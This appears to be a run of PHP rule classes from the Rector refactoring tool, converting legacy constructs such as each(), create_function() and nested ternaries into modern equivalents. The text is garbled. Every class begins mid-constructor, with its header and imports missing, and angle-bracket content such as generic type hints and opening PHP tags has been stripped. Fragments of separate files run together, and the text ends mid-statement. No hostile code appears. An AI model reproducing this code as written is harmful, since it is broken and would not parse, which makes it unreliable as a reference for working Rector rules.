*/ public function refactor(Node $node) : ?Node { if ($node->cond instanceof Isset_) { return $this->processTernaryWithIsset($node, $node->cond); } if ($node->cond instanceof Identical) { $checkedNode = $node->else; $fallbackNode = $node->if; } elseif ($node->cond instanceof NotIdentical) { $checkedNode = $node->if; $fallbackNode = $node->else; } else { // not a match return null; } if (!$checkedNode instanceof Expr) { return null; } if (!$fallbackNode instanceof Expr) { return null; } /** @var Identical|NotIdentical $ternaryCompareNode */ $ternaryCompareNode = $node->cond; if ($this->isNullMatch($ternaryCompareNode->left, $ternaryCompareNode->right, $checkedNode)) { return new Coalesce($checkedNode, $fallbackNode); } if ($this->isNullMatch($ternaryCompareNode->right, $ternaryCompareNode->left, $checkedNode)) { return new Coalesce($checkedNode, $fallbackNode); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULL_COALESCE; } private function processTernaryWithIsset(Ternary $ternary, Isset_ $isset) : ?Coalesce { if (!$ternary->if instanceof Expr) { return null; } if ($isset->vars === null) { return null; } // none or multiple isset values cannot be handled here if (\count($isset->vars) > 1) { return null; } if (!$this->nodeComparator->areNodesEqual($ternary->if, $isset->vars[0])) { return null; } return new Coalesce($ternary->if, $ternary->else); } private function isNullMatch(Expr $possibleNullExpr, Expr $firstNode, Expr $secondNode) : bool { if (!$this->valueResolver->isNull($possibleNullExpr)) { return \false; } return $this->nodeComparator->areNodesEqual($firstNode, $secondNode); } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Use <=> spaceship instead of ternary with same effect', [new CodeSample(<<<'CODE_SAMPLE' function order_func($a, $b) { return ($a < $b) ? -1 : (($a > $b) ? 1 : 0); } CODE_SAMPLE , <<<'CODE_SAMPLE' function order_func($a, $b) { return $a <=> $b; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } /** @var Ternary $nestedTernary */ $nestedTernary = $node->else; $spaceshipNode = $this->processSmallerThanTernary($node, $nestedTernary); if ($spaceshipNode instanceof Spaceship) { return $spaceshipNode; } return $this->processGreaterThanTernary($node, $nestedTernary); } public function provideMinPhpVersion() : int { return PhpVersionFeature::SPACESHIP; } private function shouldSkip(Ternary $ternary) : bool { if (!$ternary->cond instanceof BinaryOp) { return \true; } if (!$ternary->else instanceof Ternary) { return \true; } $nestedTernary = $ternary->else; if (!$nestedTernary->cond instanceof BinaryOp) { return \true; } // $a X $b ? . : ($a X $b ? . : .) if (!$this->nodeComparator->areNodesEqual($ternary->cond->left, $nestedTernary->cond->left)) { return \true; } // $a X $b ? . : ($a X $b ? . : .) return !$this->nodeComparator->areNodesEqual($ternary->cond->right, $nestedTernary->cond->right); } /** * Matches "$a < $b ? -1 : ($a > $b ? 1 : 0)" */ private function processSmallerThanTernary(Ternary $node, Ternary $nestedTernary) : ?Spaceship { if (!$node->cond instanceof Smaller) { return null; } if (!$nestedTernary->cond instanceof Greater) { return null; } if (!$this->valueResolver->areValuesEqual([$node->if, $nestedTernary->if, $nestedTernary->else], [-1, 1, 0])) { return null; } return new Spaceship($node->cond->left, $node->cond->right); } /** * Matches "$a > $b ? -1 : ($a < $b ? 1 : 0)" */ private function processGreaterThanTernary(Ternary $node, Ternary $nestedTernary) : ?Spaceship { if (!$node->cond instanceof Greater) { return null; } if (!$nestedTernary->cond instanceof Smaller) { return null; } if (!$this->valueResolver->areValuesEqual([$node->if, $nestedTernary->if, $nestedTernary->else], [-1, 1, 0])) { return null; } return new Spaceship($node->cond->right, $node->cond->left); } } bar; } CODE_SAMPLE , <<<'CODE_SAMPLE' function run($foo) { global ${$foo->bar}; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Variable::class]; } /** * @param Variable $node */ public function refactor(Node $node) : ?Node { $nodeName = $node->name; if (!$nodeName instanceof PropertyFetch && !$nodeName instanceof Variable) { return null; } if ($node->getEndTokenPos() !== $nodeName->getEndTokenPos()) { return null; } if ($nodeName instanceof PropertyFetch) { return new Variable(new PropertyFetch($nodeName->var, $nodeName->name)); } return new Variable(new Variable($nodeName->name)); } } firstExpr = $firstExpr; $this->secondExpr = $secondExpr; } public function getFirstExpr() : Expr { return $this->firstExpr; } public function getSecondExpr() : Expr { return $this->secondExpr; } } binaryOpManipulator = $binaryOpManipulator; $this->nodeNameResolver = $nodeNameResolver; $this->nodeComparator = $nodeComparator; } public function processBooleanOr(BooleanOr $booleanOr, string $type, string $newMethodName) : ?FuncCall { $twoNodeMatch = $this->binaryOpManipulator->matchFirstAndSecondConditionNode($booleanOr, Instanceof_::class, FuncCall::class); if (!$twoNodeMatch instanceof TwoNodeMatch) { return null; } /** @var Instanceof_ $instanceofExpr */ $instanceofExpr = $twoNodeMatch->getFirstExpr(); /** @var FuncCall $funcCallExpr */ $funcCallExpr = $twoNodeMatch->getSecondExpr(); $instanceOfClass = $instanceofExpr->class; if ($instanceOfClass instanceof Expr) { return null; } if ((string) $instanceOfClass !== $type) { return null; } if (!$this->nodeNameResolver->isName($funcCallExpr, 'is_array')) { return null; } if ($funcCallExpr->isFirstClassCallable()) { return null; } if (!isset($funcCallExpr->getArgs()[0])) { return null; } $firstArg = $funcCallExpr->getArgs()[0]; $firstExprNode = $firstArg->value; if (!$this->nodeComparator->areNodesEqual($instanceofExpr->expr, $firstExprNode)) { return null; } // both use same Expr return new FuncCall(new Name($newMethodName), [new Arg($firstExprNode)]); } } propertyFetchFinder = $propertyFetchFinder; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_ASSIGN_ARRAY_TO_STRING; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('String cannot be turned into array by assignment anymore', [new CodeSample(<<<'CODE_SAMPLE' $string = ''; $string[] = 1; CODE_SAMPLE , <<<'CODE_SAMPLE' $string = []; $string[] = 1; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Namespace_::class, FileWithoutNamespace::class, Class_::class, ClassMethod::class, Function_::class, Closure::class]; } /** * @param Namespace_|FileWithoutNamespace|Class_|ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Class_) { return $this->refactorClass($node); } if ($node->stmts === null) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable($node->stmts, function (Node $subNode) use(&$hasChanged, $node) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($subNode instanceof Assign) { $assign = $this->refactorAssign($subNode, $node); if ($assign instanceof Assign) { $hasChanged = \true; return null; } } return null; }); if ($hasChanged) { return $node; } return null; } private function isEmptyString(Expr $expr) : bool { if (!$expr instanceof String_) { return \false; } return $expr->value === ''; } private function refactorClass(Class_ $class) : ?Class_ { $hasChanged = \false; foreach ($class->getProperties() as $property) { if (!$this->hasPropertyDefaultEmptyString($property)) { continue; } $arrayDimFetches = $this->propertyFetchFinder->findLocalPropertyArrayDimFetchesAssignsByName($class, $property); foreach ($arrayDimFetches as $arrayDimFetch) { if ($arrayDimFetch->dim instanceof Expr) { continue; } $property->props[0]->default = new Array_(); $hasChanged = \true; } } if ($hasChanged) { return $class; } return null; } private function hasPropertyDefaultEmptyString(Property $property) : bool { $defaultExpr = $property->props[0]->default; if (!$defaultExpr instanceof Expr) { return \false; } return $this->isEmptyString($defaultExpr); } /** * @return ArrayDimFetch[] * @param \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function findSameNamedVariableAssigns(Variable $variable, $node) : array { if ($node->stmts === null) { return []; } $variableName = $this->nodeNameResolver->getName($variable); if ($variableName === null) { return []; } $assignedArrayDimFetches = []; $this->traverseNodesWithCallable($node->stmts, function (Node $node) use($variable, $variableName, &$assignedArrayDimFetches) { if (!$node instanceof Assign) { return null; } if ($this->isReAssignedAsArray($node, $variableName, $variable)) { $assignedArrayDimFetches = []; return NodeTraverser::STOP_TRAVERSAL; } if (!$node->var instanceof ArrayDimFetch) { return null; } $arrayDimFetch = $node->var; if (!$arrayDimFetch->var instanceof Variable) { return null; } if (!$this->isName($arrayDimFetch->var, $variableName)) { return null; } $assignedArrayDimFetches[] = $arrayDimFetch; }); return $assignedArrayDimFetches; } private function isReAssignedAsArray(Assign $assign, string $variableName, Variable $variable) : bool { if ($assign->var instanceof Variable && $this->isName($assign->var, $variableName) && $assign->var->getStartTokenPos() > $variable->getStartTokenPos()) { $exprType = $this->nodeTypeResolver->getNativeType($assign->expr); if ($exprType->isArray()->yes()) { return \true; } } return \false; } /** * @param \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function refactorAssign(Assign $assign, $node) : ?Assign { if (!$assign->var instanceof Variable) { return null; } if (!$this->isEmptyString($assign->expr)) { return null; } $type = $this->nodeTypeResolver->getNativeType($assign->var); if ($type->isArray()->yes()) { return null; } if ($type instanceof UnionType) { return null; } $variableAssignArrayDimFetches = $this->findSameNamedVariableAssigns($assign->var, $node); $shouldRetype = \false; // detect if is part of variable assign? foreach ($variableAssignArrayDimFetches as $variableAssignArrayDimFetch) { if ($variableAssignArrayDimFetch->dim instanceof Expr) { continue; } $shouldRetype = \true; break; } if (!$shouldRetype) { return null; } $assign->expr = new Array_(); return $assign; } } exprAnalyzer = $exprAnalyzer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::BINARY_OP_NUMBER_STRING; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change binary operation between some number + string to PHP 7.1 compatible version', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $value = 5 + ''; $value = 5.0 + 'hi'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $value = 5 + 0; $value = 5.0 + 0.0; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [BinaryOp::class]; } /** * @param BinaryOp $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Concat) { return null; } if ($node instanceof Coalesce) { return null; } if ($this->exprAnalyzer->isNonTypedFromParam($node->left)) { return null; } if ($this->exprAnalyzer->isNonTypedFromParam($node->right)) { return null; } if ($this->isStringOrStaticNonNumericString($node->left) && $this->nodeTypeResolver->isNumberType($node->right)) { $node->left = $this->nodeTypeResolver->getNativeType($node->right)->isInteger()->yes() ? new LNumber(0) : new DNumber(0); return $node; } if ($this->isStringOrStaticNonNumericString($node->right) && $this->nodeTypeResolver->isNumberType($node->left)) { $node->right = $this->nodeTypeResolver->getNativeType($node->left)->isInteger()->yes() ? new LNumber(0) : new DNumber(0); return $node; } return null; } private function isStringOrStaticNonNumericString(Expr $expr) : bool { // replace only scalar values, not variables/constants/etc. if (!$expr instanceof Scalar && !$expr instanceof Variable) { return \false; } if ($expr instanceof Line) { return \false; } if ($expr instanceof String_) { return !\is_numeric($expr->value); } $exprStaticType = $this->getType($expr); if ($exprStaticType instanceof ConstantStringType) { return !\is_numeric($exprStaticType->getValue()); } return \false; } } isArrayAndDualCheckToAble = $isArrayAndDualCheckToAble; $this->reflectionProvider = $reflectionProvider; $this->phpVersionProvider = $phpVersionProvider; } public function provideMinPhpVersion() : int { return PhpVersionFeature::IS_ITERABLE; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes is_array + Traversable check to is_iterable', [new CodeSample('is_array($foo) || $foo instanceof Traversable;', 'is_iterable($foo);')]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanOr::class]; } /** * @param BooleanOr $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip()) { return null; } return $this->isArrayAndDualCheckToAble->processBooleanOr($node, 'Traversable', 'is_iterable'); } private function shouldSkip() : bool { if ($this->reflectionProvider->hasFunction(new Name('is_iterable'), null)) { return \false; } return !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::IS_ITERABLE); } } visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add explicit public constant visibility.', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { const HEY = 'you'; } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public const HEY = 'you'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassConst::class]; } /** * @param ClassConst $node */ public function refactor(Node $node) : ?Node { return $this->visibilityManipulator->publicize($node); } public function provideMinPhpVersion() : int { return PhpVersionFeature::CONSTANT_VISIBILITY; } } variadicAnalyzer = $variadicAnalyzer; $this->reflectionResolver = $reflectionResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_EXTRA_PARAMETERS; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove extra parameters', [new CodeSample('strlen("asdf", 1);', 'strlen("asdf");')]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class, MethodCall::class, StaticCall::class]; } /** * @param FuncCall|MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } // unreliable count of arguments $functionLikeReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($node); if ($functionLikeReflection instanceof UnionTypeMethodReflection) { return null; } if ($functionLikeReflection === null) { return null; } if ($functionLikeReflection instanceof PhpMethodReflection) { if ($functionLikeReflection->isAbstract()) { return null; } $classReflection = $functionLikeReflection->getDeclaringClass(); if ($classReflection->isInterface()) { return null; } } $maximumAllowedParameterCount = $this->resolveMaximumAllowedParameterCount($functionLikeReflection); if ($node->isFirstClassCallable()) { return null; } if ($this->shouldSkipFunctionReflection($functionLikeReflection)) { return null; } $numberOfArguments = \count($node->getRawArgs()); if ($numberOfArguments <= $maximumAllowedParameterCount) { return null; } for ($i = $maximumAllowedParameterCount; $i <= $numberOfArguments; ++$i) { unset($node->args[$i]); } return $node; } /** * @param \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection $reflection */ private function shouldSkipFunctionReflection($reflection) : bool { if ($reflection instanceof FunctionReflection) { $fileName = (string) $reflection->getFileName(); if (\strpos($fileName, 'phpstan.phar') !== \false) { return \true; } } if ($reflection instanceof MethodReflection) { $classReflection = $reflection->getDeclaringClass(); $fileName = (string) $classReflection->getFileName(); if (\strpos($fileName, 'phpstan.phar') !== \false) { return \true; } } return \false; } /** * @param \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $call */ private function shouldSkip($call) : bool { if ($call->args === []) { return \true; } if ($call instanceof StaticCall) { if (!$call->class instanceof Name) { return \true; } if ($this->isName($call->class, ObjectReference::PARENT)) { return \true; } } return $this->variadicAnalyzer->hasVariadicParameters($call); } /** * @param \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection $functionLikeReflection */ private function resolveMaximumAllowedParameterCount($functionLikeReflection) : int { $parameterCounts = [0]; foreach ($functionLikeReflection->getVariants() as $parametersAcceptor) { $parameterCounts[] = \count($parametersAcceptor->getParameters()); } return \max($parameterCounts); } } > */ public function getNodeTypes() : array { return [Assign::class, Foreach_::class]; } /** * @param Assign|Foreach_ $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Assign) { if (!$node->var instanceof List_) { return null; } $list = $node->var; $node->var = new Array_($list->items); return $node; } if (!$node->valueVar instanceof List_) { return null; } $list = $node->valueVar; $node->valueVar = new Array_($list->items); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARRAY_DESTRUCT; } } betterStandardPrinter = $betterStandardPrinter; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes multi catch of same exception to single one | separated.', [new CodeSample(<<<'CODE_SAMPLE' try { // Some code... } catch (ExceptionType1 $exception) { $sameCode; } catch (ExceptionType2 $exception) { $sameCode; } CODE_SAMPLE , <<<'CODE_SAMPLE' try { // Some code... } catch (ExceptionType1 | ExceptionType2 $exception) { $sameCode; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [TryCatch::class]; } /** * @param TryCatch $node */ public function refactor(Node $node) : ?Node { if (\count($node->catches) < 2) { return null; } $hasChanged = \false; foreach ($node->catches as $key => $catch) { if (!isset($node->catches[$key + 1])) { break; } $currentPrintedCatch = $this->betterStandardPrinter->print($catch->stmts); $nextPrintedCatch = $this->betterStandardPrinter->print($node->catches[$key + 1]->stmts); // already duplicated catch → remove it and join the type if ($currentPrintedCatch === $nextPrintedCatch) { // use current var as next var $node->catches[$key + 1]->var = $node->catches[$key]->var; // merge next types as current merge to next types $node->catches[$key + 1]->types = \array_merge($node->catches[$key]->types, $node->catches[$key + 1]->types); unset($node->catches[$key]); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::MULTI_EXCEPTION_CATCH; } } firstExpr = $firstExpr; $this->secondExpr = $secondExpr; } public function getFirstExpr() : Expr { return $this->firstExpr; } public function getSecondExpr() : Expr { return $this->secondExpr; } } \\d+)#'; public function __construct(NodeNameResolver $nodeNameResolver, BetterNodeFinder $betterNodeFinder, SimpleCallableNodeTraverser $simpleCallableNodeTraverser, SimplePhpParser $simplePhpParser, InlineCodeParser $inlineCodeParser) { $this->nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->simplePhpParser = $simplePhpParser; $this->inlineCodeParser = $inlineCodeParser; } /** * @api * @param Param[] $params * @param Stmt[] $stmts * @param \PhpParser\Node\Identifier|\PhpParser\Node\Name|\PhpParser\Node\NullableType|\PhpParser\Node\UnionType|\PhpParser\Node\ComplexType|null $returnTypeNode */ public function create(array $params, array $stmts, $returnTypeNode, bool $static = \false) : Closure { $useVariables = $this->createUseVariablesFromParams($stmts, $params); $anonymousFunctionClosure = new Closure(); $anonymousFunctionClosure->params = $params; if ($static) { $anonymousFunctionClosure->static = $static; } foreach ($useVariables as $useVariable) { $anonymousFunctionClosure->uses[] = new ClosureUse($useVariable); } if ($returnTypeNode instanceof Node) { $anonymousFunctionClosure->returnType = $returnTypeNode; } $anonymousFunctionClosure->stmts = $stmts; return $anonymousFunctionClosure; } public function createAnonymousFunctionFromExpr(Expr $expr) : ?Closure { $stringValue = $this->inlineCodeParser->stringify($expr); $phpCode = 'simplePhpParser->parseString($phpCode); $anonymousFunction = new Closure(); $firstNode = $contentStmts[0] ?? null; if (!$firstNode instanceof Expression) { return null; } $stmt = $firstNode->expr; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmt, static function (Node $node) : Node { if (!$node instanceof String_) { return $node; } $match = Strings::match($node->value, self::DIM_FETCH_REGEX); if ($match === null) { return $node; } $matchesVariable = new Variable('matches'); return new ArrayDimFetch($matchesVariable, new LNumber((int) $match['number'])); }); $anonymousFunction->stmts[] = new Return_($stmt); $anonymousFunction->params[] = new Param(new Variable('matches')); $variables = $expr instanceof Variable ? [] : $this->betterNodeFinder->findInstanceOf($expr, Variable::class); $anonymousFunction->uses = \array_map(static function (Variable $variable) : ClosureUse { return new ClosureUse($variable); }, $variables); return $anonymousFunction; } /** * @param Param[] $params * @return string[] */ private function collectParamNames(array $params) : array { $paramNames = []; foreach ($params as $param) { $paramNames[] = $this->nodeNameResolver->getName($param); } return $paramNames; } /** * @param Node[] $nodes * @param Param[] $params * @return array */ private function createUseVariablesFromParams(array $nodes, array $params) : array { $paramNames = $this->collectParamNames($params); /** @var Variable[] $variables */ $variables = $this->betterNodeFinder->findInstanceOf($nodes, Variable::class); /** @var array $filteredVariables */ $filteredVariables = []; $alreadyAssignedVariables = []; foreach ($variables as $variable) { // "$this" is allowed if ($this->nodeNameResolver->isName($variable, 'this')) { continue; } $variableName = $this->nodeNameResolver->getName($variable); if ($variableName === null) { continue; } if (\in_array($variableName, $paramNames, \true)) { continue; } if ($variable->getAttribute(AttributeKey::IS_BEING_ASSIGNED) === \true || $variable->getAttribute(AttributeKey::IS_PARAM_VAR) === \true || $variable->getAttribute(AttributeKey::IS_VARIABLE_LOOP) === \true) { $alreadyAssignedVariables[] = $variableName; } if (!$this->nodeNameResolver->isNames($variable, $alreadyAssignedVariables)) { $filteredVariables[$variableName] = $variable; } } return $filteredVariables; } } assignManipulator = $assignManipulator; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_EACH; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('each() function is deprecated, use key() and current() instead', [new CodeSample(<<<'CODE_SAMPLE' list($key, $callback) = each($callbacks); CODE_SAMPLE , <<<'CODE_SAMPLE' $key = key($callbacks); $callback = current($callbacks); next($callbacks); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return null|Expression|Stmt[] */ public function refactor(Node $node) { if (!$node->expr instanceof Assign) { return null; } $listAndEach = $this->assignManipulator->matchListAndEach($node->expr); if (!$listAndEach instanceof ListAndEach) { return null; } if ($this->shouldSkipAssign($listAndEach)) { return null; } $list = $listAndEach->getList(); $eachFuncCall = $listAndEach->getEachFuncCall(); // only key: list($key, ) = each($values); if ($list->items[0] instanceof ArrayItem && !$list->items[1] instanceof ArrayItem) { $keyFuncCall = $this->nodeFactory->createFuncCall('key', $eachFuncCall->args); $keyFuncCallAssign = new Assign($list->items[0]->value, $keyFuncCall); return new Expression($keyFuncCallAssign); } // only value: list(, $value) = each($values); if ($list->items[1] instanceof ArrayItem && !$list->items[0] instanceof ArrayItem) { $nextFuncCall = $this->nodeFactory->createFuncCall('next', $eachFuncCall->args); $currentFuncCall = $this->nodeFactory->createFuncCall('current', $eachFuncCall->args); $secondArrayItem = $list->items[1]; $currentAssign = new Assign($secondArrayItem->value, $currentFuncCall); return [new Expression($currentAssign), new Expression($nextFuncCall)]; } // both: list($key, $value) = each($values); $currentFuncCall = $this->nodeFactory->createFuncCall('current', $eachFuncCall->args); $secondArrayItem = $list->items[1]; if (!$secondArrayItem instanceof ArrayItem) { throw new ShouldNotHappenException(); } $currentAssign = new Assign($secondArrayItem->value, $currentFuncCall); $nextFuncCall = $this->nodeFactory->createFuncCall('next', $eachFuncCall->args); $keyFuncCall = $this->nodeFactory->createFuncCall('key', $eachFuncCall->args); $firstArrayItem = $list->items[0]; if (!$firstArrayItem instanceof ArrayItem) { throw new ShouldNotHappenException(); } $keyAssign = new Assign($firstArrayItem->value, $keyFuncCall); return [new Expression($keyAssign), new Expression($currentAssign), new Expression($nextFuncCall)]; } private function shouldSkipAssign(ListAndEach $listAndEach) : bool { $list = $listAndEach->getList(); if (\count($list->items) !== 2) { return \true; } // empty list → cannot handle if ($list->items[0] instanceof ArrayItem) { return \false; } return !$list->items[1] instanceof ArrayItem; } } 1, 'a' => 2]; $eachedArray = each($array); CODE_SAMPLE , <<<'CODE_SAMPLE' $array = ['b' => 1, 'a' => 2]; $eachedArray[1] = current($array); $eachedArray['value'] = current($array); $eachedArray[0] = key($array); $eachedArray['key'] = key($array); next($array); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Stmt[]|null */ public function refactor(Node $node) : ?array { if (!$node->expr instanceof Assign) { return null; } $assign = $node->expr; if ($this->shouldSkip($assign)) { return null; } /** @var FuncCall $eachFuncCall */ $eachFuncCall = $assign->expr; if ($eachFuncCall->isFirstClassCallable()) { return null; } if (!isset($eachFuncCall->getArgs()[0])) { return null; } $assignVariable = $assign->var; $eachedVariable = $eachFuncCall->getArgs()[0]->value; return $this->createNewStmts($assignVariable, $eachedVariable); } private function shouldSkip(Assign $assign) : bool { if (!$assign->expr instanceof FuncCall) { return \true; } if (!$this->nodeNameResolver->isName($assign->expr, 'each')) { return \true; } return $assign->var instanceof List_; } /** * @return Stmt[] */ private function createNewStmts(Expr $assignVariable, Expr $eachedVariable) : array { $exprs = [$this->createDimFetchAssignWithFuncCall($assignVariable, $eachedVariable, 1, 'current'), $this->createDimFetchAssignWithFuncCall($assignVariable, $eachedVariable, 'value', 'current'), $this->createDimFetchAssignWithFuncCall($assignVariable, $eachedVariable, 0, self::KEY), $this->createDimFetchAssignWithFuncCall($assignVariable, $eachedVariable, self::KEY, self::KEY), $this->nodeFactory->createFuncCall('next', [new Arg($eachedVariable)])]; return \array_map(static function (Expr $expr) : Expression { return new Expression($expr); }, $exprs); } /** * @param string|int $dimValue */ private function createDimFetchAssignWithFuncCall(Expr $assignVariable, Expr $eachedVariable, $dimValue, string $functionName) : Assign { $dimExpr = BuilderHelpers::normalizeValue($dimValue); $arrayDimFetch = new ArrayDimFetch($assignVariable, $dimExpr); return new Assign($arrayDimFetch, $this->nodeFactory->createFuncCall($functionName, [new Arg($eachedVariable)])); } } inlineCodeParser = $inlineCodeParser; $this->anonymousFunctionFactory = $anonymousFunctionFactory; $this->reservedKeywordAnalyzer = $reservedKeywordAnalyzer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_CREATE_FUNCTION; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Use anonymous functions instead of deprecated create_function()', [new CodeSample(<<<'CODE_SAMPLE' class ClassWithCreateFunction { public function run() { $callable = create_function('$matches', "return '$delimiter' . strtolower(\$matches[1]);"); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class ClassWithCreateFunction { public function run() { $callable = function($matches) use ($delimiter) { return $delimiter . strtolower($matches[1]); }; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node * @return Closure|null */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'create_function')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) < 2) { return null; } $firstExpr = $node->getArgs()[0]->value; $secondExpr = $node->getArgs()[1]->value; $params = $this->createParamsFromString($firstExpr); $stmts = $this->parseStringToBody($secondExpr); $refactored = $this->anonymousFunctionFactory->create($params, $stmts, null); foreach ($refactored->uses as $key => $use) { $variableName = $this->getName($use->var); if ($variableName === null) { continue; } if ($this->reservedKeywordAnalyzer->isNativeVariable($variableName)) { unset($refactored->uses[$key]); } } return $refactored; } /** * @return Param[] */ private function createParamsFromString(Expr $expr) : array { $content = $this->inlineCodeParser->stringify($expr); $content = 'inlineCodeParser->parseString($content); /** @var Expression $expression */ $expression = $nodes[0]; /** @var Assign $assign */ $assign = $expression->expr; $function = $assign->expr; if (!$function instanceof Closure) { throw new ShouldNotHappenException(); } return $function->params; } /** * @return Stmt[] */ private function parseStringToBody(Expr $expr) : array { if (!$expr instanceof String_ && !$expr instanceof Encapsed && !$expr instanceof Concat) { // special case of code elsewhere return [$this->createEval($expr)]; } $content = $this->inlineCodeParser->stringify($expr); return $this->inlineCodeParser->parseString($content); } private function createEval(Expr $expr) : Expression { $evalFuncCall = new FuncCall(new Name('eval'), [new Arg($expr)]); return new Expression($evalFuncCall); } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $hasChanged = \false; $this->traverseNodesWithCallable($node, function (Node $node) use(&$hasChanged) { if ($node instanceof Ternary) { return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof FuncCall) { return null; } // just created func call if ($node->getAttribute(AttributeKey::DO_NOT_CHANGE) === \true) { return null; } if (!$this->isName($node, 'get_class')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstArg = $node->getArgs()[0] ?? null; if (!$firstArg instanceof Arg) { return null; } $firstArgValue = $firstArg->value; $firstArgType = $this->getType($firstArgValue); if (!$this->nodeTypeResolver->isNullableType($firstArgValue) && !$firstArgType instanceof NullType) { return null; } $notIdentical = new NotIdentical($firstArgValue, $this->nodeFactory->createNull()); $funcCall = $this->createGetClassFuncCall($node); $selfClassConstFetch = $this->nodeFactory->createClassConstReference('self'); $hasChanged = \true; return new Ternary($notIdentical, $funcCall, $selfClassConstFetch); }); if ($hasChanged) { return $node; } return null; } private function createGetClassFuncCall(FuncCall $oldFuncCall) : FuncCall { $funcCall = new FuncCall($oldFuncCall->name, $oldFuncCall->args); $funcCall->setAttribute(AttributeKey::DO_NOT_CHANGE, \true); return $funcCall; } } query); $data = get_defined_vars(); CODE_SAMPLE , <<<'CODE_SAMPLE' parse_str($this->query, $result); $data = $result; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { return $this->processStrWithResult($node, \false); } private function processStrWithResult(StmtsAwareInterface $stmtsAware, bool $hasChanged, int $jumpToKey = 0) : ?\Rector\Contract\PhpParser\Node\StmtsAwareInterface { if ($stmtsAware->stmts === null) { return null; } \end($stmtsAware->stmts); $totalKeys = \key($stmtsAware->stmts); \reset($stmtsAware->stmts); for ($key = $jumpToKey; $key < $totalKeys; ++$key) { if (!isset($stmtsAware->stmts[$key], $stmtsAware->stmts[$key + 1])) { break; } $stmt = $stmtsAware->stmts[$key]; if ($this->shouldSkip($stmt)) { continue; } /** * @var Expression $stmt * @var FuncCall $expr */ $expr = $stmt->expr; $resultVariable = new Variable('result'); $expr->args[1] = new Arg($resultVariable); $nextExpression = $stmtsAware->stmts[$key + 1]; $this->traverseNodesWithCallable($nextExpression, function (Node $node) use($resultVariable, &$hasChanged) : ?Variable { if (!$node instanceof FuncCall) { return null; } if (!$this->isName($node, 'get_defined_vars')) { return null; } $hasChanged = \true; return $resultVariable; }); return 